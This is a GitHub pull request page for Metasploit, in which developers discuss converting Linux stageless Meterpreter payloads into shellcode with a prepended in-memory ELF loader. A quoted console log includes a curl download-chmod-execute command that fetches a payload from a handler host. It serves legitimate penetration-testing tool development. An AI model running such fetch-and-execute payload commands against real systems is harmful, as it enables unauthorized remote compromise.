-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Fix Linux Stageless Payload to be Shellcodes #19799
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
b3f3b8c to
128ac84
Compare
|
This makes a lot of sense- my only complaint is that we need to comment the asm a lot more, especially when you're doing shenanigans. 😆 |
|
Also, what are you using to test this? Do you have a elf that supports injection, or are you only testing by creating an elf stager from the shellcode? |
I generated ELF file using |
modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
Outdated
Show resolved
Hide resolved
2025792 to
56c4506
Compare
bwatters-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Minor cheat sheet additions
x64 |
AARCH64 |
ARMLE |
MIPSLEThis fails with segfault. I'm running it on a router, so I cannot get GDB installed, but gdb server works. Linux version: EDIT |
5192b65 to
0407bb7
Compare
It's causing segfault on this instruction: So the issue is with Meterpreter itself - on qemu, it seems to be working though. UPDATE: |
c0b3f51 to
38b63f5
Compare
| # | ||
| # Linux ppc prepends | ||
| # | ||
| module Msf::Payload::Linux::Mipsle::Prepends |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I am, in fact, crazy
lib/msf/util/exe.rb
Outdated
|
|
||
| # XXX: Add remaining AARCH64 systems here | ||
| end | ||
| if arch.index(ARCH_PPC) && plat.index(Msf::Module::Platform::OSX) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If we are going to remove the PPC, do we need the ppc files in here? We have templates, prepends, payloads, and a loader in this PR?
Also, it might be a good idea to change the error message above, since the problem is not that we don't support the arch or platform, we don't support the Minimum kernel level:
msf payload(cmd/linux/http/ppc/meterpreter_reverse_tcp) > set PayloadLinuxMinKernel 3.17+
PayloadLinuxMinKernel => 3.17+
msf payload(cmd/linux/http/ppc/meterpreter_reverse_tcp) > to_handler
[-] Exploit failed: Failed to generate an executable payload due to an invalid platform or arch.
msf payload(cmd/linux/http/ppc/meterpreter_reverse_tcp) > set PayloadLinuxMinKernel 2.6+
PayloadLinuxMinKernel => 2.6+
msf payload(cmd/linux/http/ppc/meterpreter_reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so ./loAlOlFnqst http://10.5.135.201:8080/JY-6pdFD6VFwW21Ds-tzNQ;chmod +x ./loAlOlFnqst;./loAlOlFnqst&
modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
Outdated
Show resolved
Hide resolved
modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
Outdated
Show resolved
Hide resolved
modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
Outdated
Show resolved
Hide resolved
|
|
@bwatters-r7 we are going to replace |
|
@bwatters-r7 @msutovsky-r7 just a ping that we should be back on track here, we did the rollback of |

This PR Fixes the issue of linux stageless meterpreter.
Issue: #19670
Issue Description
The stageless linux meterpreters are ELF files that cannot be used as standard stageless shellcode payload.
Staged vs Stageless Linux Meterpreter
Staged
The Linux staged meterpreter is divided in 3 component
e_entryof the ELFThis version of the ELF is generated when we build mettle using the following tool: elf2bin
Stageless
The stageless mettle payload is the ELF file (standard elf) with the patched args.
Code Handling Staged vs Stageless
Mettle main.c
Solution
For each architecture, a shellcode implementing this technique was made.
NOTE: This technique works only with Kernel >= 3.17
Instead of delivering the ELF only, the raw shellcode will be composed by the
in-memory-loaderarch specific shellcode and the elf file at the end of it.Super thanks to @msutovsky-r7
What architectures fix this pr:
linux/x86linux/x64linux/armlelinux/armbe(emulated)linux/aarch64linux/mipslinux/mipsel(to check device avaiability)linux/mips64(find target with kernel 3.17 / updated one of the targets)linux/ppc( to be removed)linux/ppc64le(emulated)linux/ppce500v2linux/zarch(emulated)What is inside the PR and How to test it
<arch>/in_memory_loader.rbinclude the architecture specific shellcode to be prepended to the ELF binary.<arch>/prepends.rbmixin for the missing architectures.2.6or to3.17kernels.2.6.meterpreter_reverse.erbtemplate for payload generation.What to test
MeterpreterLinuxMinKernelis2.6+is the same as beforeMeterpreterLinuxMinKernelis3.17is using the correct ELF template and is executed on a compatible target.MeterpreterLinuxMinKernelis3.17otherwise a warning is showed.